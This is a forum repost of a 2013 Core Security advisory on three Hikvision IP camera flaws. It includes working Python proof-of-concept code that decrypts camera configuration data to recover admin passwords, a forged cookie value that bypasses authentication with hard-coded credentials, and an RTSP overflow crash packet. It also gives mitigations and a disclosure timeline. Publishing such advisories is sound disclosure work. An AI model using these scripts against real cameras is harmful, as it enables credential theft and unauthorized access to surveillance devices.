Matt Posted August 7, 2013 Report Posted August 7, 2013 Description : Core Security Technologies Advisory - Hikvision IP Cameras suffer from buffer overflow, authentication bypass, hard-coded credential, and privilege escalation vulnerabilities.Author : Alberto Solino, Core Security Technologies, Anibal Sacco, Alejandro RodriguezSource : Hikvision IP Cameras Overflow / Bypass / Privilege Escalation ? Packet StormCode : Core Security - Corelabs Advisoryhttp://corelabs.coresecurity.com/Hikvision IP Cameras Multiple Vulnerabilities1. *Advisory Information*Title: Hikvision IP Cameras Multiple VulnerabilitiesAdvisory ID: CORE-2013-0708Advisory URL:http://www.coresecurity.com/advisories/hikvision-ip-cameras-multiple-vulnerabilitiesDate published: 2013-08-06Date of last update: 2013-08-06Vendors contacted: HikvisionRelease mode: User release2. *Vulnerability Information*Class: Input validation error [CWE-20], Use of Hard-coded Credentials[CWE-798], Buffer overflow [CWE-119]Impact: Code execution, Security bypassRemotely Exploitable: YesLocally Exploitable: NoCVE Name: CVE-2013-4975, CVE-2013-4976, CVE-2013-49773. *Vulnerability Description*Multiple vulnerabilities have been found in Hikvision IP cameraDS-2CD7153-E [1] (and potentially other cameras sharing the affectedfirmware [2]) that could allow a remote attacker: 1. [CVE-2013-4975] To obtain the admin password from a non-privilegeduser account. 2. [CVE-2013-4976] To bypass the anonymous user authentication usinghard-coded credentials (even if the built-in anonymous user account wasexplicitly disabled). 3. [CVE-2013-4977] To execute arbitrary code without authenticationby exploiting a buffer overflow in the RTSP packet handler.4. *Vulnerable Packages* . Hikvision-DS-2CD7153-E IP camera with firmware v4.1.0 b130111 (Jan2013). . Other devices based on the same firmware [2] are probably affectedtoo, but they were not checked.5. *Vendor Information, Solutions and Workarounds*There was no official answer from Hikvision after several attempts (see[Sec. 8]); contact vendor for further information. Some mitigationactions may be: . Do not expose the camera to internet unless absolutely necessary. . Have at least one proxy filtering HTTP requests to'/PSIA/System/ConfigurationData'. . Have at least one proxy filtering the 'Range' parameter in RTSPrequests.6. *Credits* . [CVE-2013-4975] was discovered and researched by Alberto Solinofrom Core Security. . [CVE-2013-4976] was discovered and researched by AlejandroRodriguez from Core Exploit QA Team. . [CVE-2013-4977] was discovered Anibal Sacco. Analysis and researchby Anibal Sacco and Federico Muttis from Core Exploit Writers Team. . The publication of this advisory was coordinated by FernandoMiranda from Core Advisories Team.7. *Technical Description / Proof of Concept Code*7.1. *Privilege Escalation through ConfigurationData Request*[CVE-2013-4975] The following script allows obtaining the administratorpassword by requesting the camera's configuration data and breaking itstrivial encryption. A valid user account is needed to launch the attack./-----import urllib2import base64import argparseimport sysdef decrypt(config): # Important: We're assuming the last 4 bytes of the file's plaintextare # zero, hence there we have the key. There are other easy ways to # calculate this tho. print '[*] Decrypting config' key = config[-4:] plaintext = '' for i in range(len(config)/4): for j in range(4): plaintext += chr(ord(config[i*4+j]) ^ ord(key[j])) return plaintextdef attack(target, username, password, output): base_url = 'http://' + target + '/PSIA/System/ConfigurationData' headers = { 'Authorization': 'Basic ' + base64.b64encode('%s:%s'%(username,password)) } print '[*] Attacking %s ' % target req = urllib2.Request(base_url, None, headers) try: response = urllib2.urlopen(req) config = response.read() except Exception, e: print e return plaintext = decrypt(config) print '[*] Writing output file %s' % output f = open(output, 'w') f.write(plaintext) f.close() user = plaintext[0x45A0:0x45A0+32] pwd = plaintext[0x45C0:0x45C0+16] print 'Probably the admin user is %s and the password is %s' %(user, pwd) print "If it doesn't make any sense, just do a strings of the outputfile"if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('target', action = 'store', help = 'target hostto attack') parser.add_argument('username', action = 'store', help = 'usernameto be used to authenticate against target') parser.add_argument('password', action = 'store', help = "username'spassword") parser.add_argument('output', action = 'store', help = "filename towrite the plaintext config") if len(sys.argv) == 1: parser.print_help() sys.exit(1) options = parser.parse_args() attack(options.target, options.username, options.password,options.output)-----/7.2. *Anonymous User Authentication Bypass*[CVE-2013-4976] The camera has a built-in anonymous account intended forguest users, but even when the feature is disabled it could be bypasseddue to the usage of hardcoded credentials:/-----user: anonymouspassword: \177\177\177\177\177\177 -----/The bypass cannot be used directly through the login form but rather byforging a cookie: 1. Load the login page to generate the initial cookies of thecamera's webapp. 2. Use your preferred tool (for example Firebug on Firefox) to createa cookie with the name 'userInfoXX' (replace XX with the port where thewebserver is running i.e. 'userInfo80'), path '/' and value'YW5vbnltb3VzOlwxNzdcMTc3XDE3N1wxNzdcMTc3XDE3Nw=='; this is the tuple'user:pass' encoded in base64 explained above. 3. Request the URI 'http:/<ipcam>/doc/pages/main.asp', a page thatshould not be accessed without authentication if the anonymous user isdisabled.There are several references to those hardcoded credentials in the cgis,but in particular the following snippet was found in'/doc/pages/scripts/login.js'::/-----107: function DoLogin(){(...)166:$.cookie('userInfo'+m_lHttpPort,m_szUserPwdValue==""?Base64.encode("anonymous:\177\177\177\177\177\177" ):m_szUserPwdValue);(...)-----/This bypass is not completely useful per se since all the interestingrequests are actually handled by the PSIA (Physical SecurityInteroperability Alliance's) API. Nevertheless, if it is ever combinedwith a privilege escalation it would allow remote attacker to controlthe camera without proper credentials.7.3. *Buffer Overflow in the RTSP Packet Handler*[CVE-2013-4977] The following Python script sends a specially craftedpacket that triggers a buffer overrun condition when handling the'Range' parameter of a RTSP transaction. As a result, the processhandling the communication crashes and the Watchdog service issues afull restart. No authentication is required to exploit thisvulnerability and it would possible lead to a remote code execution./-----import socketHOST = '192.168.1.100'PORT = 554 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((HOST, PORT))trigger_pkt = "PLAY rtsp://%s/ RTSP/1.0\r\n" % HOSTtrigger_pkt += "CSeq: 7\r\n"trigger_pkt += "Range:npt=Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9aLSaLSaLS\r\n"trigger_pkt += "User-Agent: VLC media player (LIVE555 Streaming Mediav2010.02.10)\r\n\r\n"s.sendall(trigger_pkt)print "Packet sent"data = s.recv(1024)print 'Received', repr(data), "\r\n"s.close() -----/8. *Report Timeline*. 2013-07-08:Core attempts to report the vulnerability using the Hikvision officialcontact addresses [3]. No reply received.. 2013-07-15:Core attempts to contact vendor.. 2013-07-22:Core attempts to contact vendor.. 2013-07-30:Core attempts to contact vendor.. 2013-08-06:Advisory CORE-2013-0708 published as 'user release'.9. *References*[1] Hikvision DS-2CD7153-E Network Mini Dome Camera,http://www.hikvision.com/en/products_show.asp?id=506.[2] Hikvision IP cameras using firmware v4.1.0 b130111: DS-2CD833F-E DS-2CD893PF-E DS-2CD893PFWD-E DS-2CD893NF-EDS-2CD893NFWD-E DS-2CD863PF-E DS-2CD863NF-E DS-2CD864F-E DS-2CD864FWD-EDS-2CD853F-E DS-2CD855F-E DS-2CD854F-E DS-2CD854FWD-E DS-2CD883F-EDS-2CD733F-E DS-2CD733F-EZ DS-2CD793PF-E DS-2CD793PF-EZ DS-2CD793PFWD-EDS-2CD793PFWD-EZ DS-2CD793NF-E DS-2CD793NF-EZ DS-2CD793NFWD-EDS-2CD793NFWD-EZ DS-2CD763PF-E DS-2CD763PF-EZ DS-2CD763NF-EDS-2CD763NF-EZ DS-2CD764F-E DS-2CD764F-EZ DS-2CD764FWD-E DS-2CD764FWD-EZDS-2CD753F-E DS-2CD753F-EZ DS-2CD755F-E DS-2CD755F-EZ DS-2CD754F-EDS-2CD754F-EZ DS-2CD754FWD-E DS-2CD783F-E DS-2CD783F-EZ DS-2CD733F-EIDS-2CD733F-EIZ DS-2CD793PF-EI DS-2CD793PF-EIZ DS-2CD793PFWD-EIDS-2CD793PFWD-EIZ DS-2CD793NF-EI DS-2CD793NF-EIZ DS-2CD793NFWD-EIDS-2CD793NFWD-EIZ DS-2CD763PF-EI DS-2CD763PF-EIZ DS-2CD763NF-EIDS-2CD763NF-EIZ DS-2CD764F-EI DS-2CD764F-EIZ DS-2CD764FWD-EIDS-2CD764FWD-EIZ DS-2CD753F-EI DS-2CD753F-EIZ DS-2CD755F-EIDS-2CD755F-EIZ DS-2CD754F-EI DS-2CD754F-EIZ DS-2CD754FWD-EIDS-2CD783F-EI DS-2CD783F-EIZ DS-2CD7233F-EZ DS-2CD7233F-EZHDS-2CD7233F-EZS DS-2CD7233F-EZHS DS-2CD7293PF-EZ DS-2CD7293PF-EZHDS-2CD7293PFWD-EZ DS-2CD7293PFWD-EZH DS-2CD7293NF-EZ DS-2CD7293NF-EZHDS-2CD7293NFWD-EZ DS-2CD7293NFWD-EZH DS-2CD7263PF-EZ DS-2CD7263PF-EZHDS-2CD7263PF-EZS DS-2CD7263PF-EZHS DS-2CD7263NF-EZ DS-2CD7263NF-EZHDS-2CD7263NF-EZS DS-2CD7263NF-EZHS DS-2CD7264FWD-EZ DS-2CD7264FWD-EZHDS-2CD7253F-EZ DS-2CD7253F-EZH DS-2CD7253F-EZS DS-2CD7253F-EZHSDS-2CD7255F-EZ DS-2CD7255F-EZH DS-2CD7254F-EZ DS-2CD7254F-EZHDS-2CD7254F-EZS DS-2CD7254F-EZHS DS-2CD7233F-EIZ DS-2CD7233F-EIZHDS-2CD7233F-EIZS DS-2CD7233F-EIZHS DS-2CD7293PF-EIZ DS-2CD7293PF-EIZHDS-2CD7293PFWD-EIZ DS-2CD7293PFWD-EIZH DS-2CD7293NF-EIZ DS-2CD7293NF-EZHDS-2CD7293NFWD-EIZ DS-2CD7293NFWD-EZH DS-2CD7263PF-EIZ DS-2CD7263PF-EIZHDS-2CD7263PF-EIZH DS-2CD7263PF-EIZHS DS-2CD7263NF-EIZ DS-2CD7263NF-EIZHDS-2CD7263NF-EIZH DS-2CD7263NF-EIZHS DS-2CD7264FWD-EIZDS-2CD7264FWD-EIZH DS-2CD7253F-EIZ DS-2CD7253F-EIZH DS-2CD7253F-EIZSDS-2CD7253F-EIZHS DS-2CD7255F-EIZ DS-2CD7255F-EIZH DS-2CD7254F-EIZDS-2CD7254F-EIZH DS-2CD7254F-EIZH DS-2CD7254F-EIZHS DS-2CD7133-EDS-2CD8133F-E DS-2CD8133F-EI DS-2CD7164-E DS-2CD7153-E DS-2CD8153F-EDS-2CD8153F-EI DS-2CD8233F-E DS-2CD8233F-ES DS-2CD8264F-EDS-2CD8264FWD-E DS-2CD8264FWD-ES DS-2CD8253F-E DS-2CD8253F-ESDS-2CD8255F-E DS-2CD8254F-E DS-2CD8254F-ES DS-2CD8283F-E DS-2CD8283F-ESDS-2CD8233F-EI DS-2CD8233F-EIS DS-2CD8264F-EI DS-2CD8264FWD-EIDS-2CD8264FWD-EIS DS-2CD8253F-EI DS-2CD8253F-EIS DS-2CD8255F-EIDS-2CD8254F-EI DS-2CD8254F-EIS DS-2CD8283F-EI DS-2CD8283F-EISDS-2CD8433F-EI DS-2CD8464F-EI.[3] Hikvision contact page,http://www.hikvision.com/En/US/contactHikvision.asp.10. *About CoreLabs*CoreLabs, the research center of Core Security Technologies, is chargedwith anticipating the future needs and requirements for informationsecurity technologies. We conduct our research in several importantareas of computer security including system vulnerabilities, cyberattack planning and simulation, source code auditing, and cryptography.Our results include problem formalization, identification ofvulnerabilities, novel solutions and prototypes for new technologies.CoreLabs regularly publishes security advisories, technical papers,project information and shared software tools for public use at:http://corelabs.coresecurity.com.11. *About Core Security Technologies*Core Security Technologies enables organizations to get ahead of threatswith security test and measurement solutions that continuously identifyand demonstrate real-world exposures to their most critical assets. Ourcustomers can gain real visibility into their security standing, realvalidation of their security controls, and real metrics to moreeffectively secure their organizations.Core Security's software solutions build on over a decade of trustedresearch and leading-edge threat expertise from the company's SecurityConsulting Services, CoreLabs and Engineering groups. Core SecurityTechnologies can be reached at +1 (617) 399-6980 or on the Web at:http://www.coresecurity.com.12. *Disclaimer*The contents of this advisory are copyright (c) 2013 Core SecurityTechnologies and (c) 2013 CoreLabs, and are licensed under a CreativeCommons Attribution Non-Commercial Share-Alike 3.0 (United States)License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/13. *PGP/GPG Keys*This advisory has been signed with the GPG key of Core SecurityTechnologies advisories team, which is available for download athttp://www.coresecurity.com/files/attachments/core_security_advisories.asc. Quote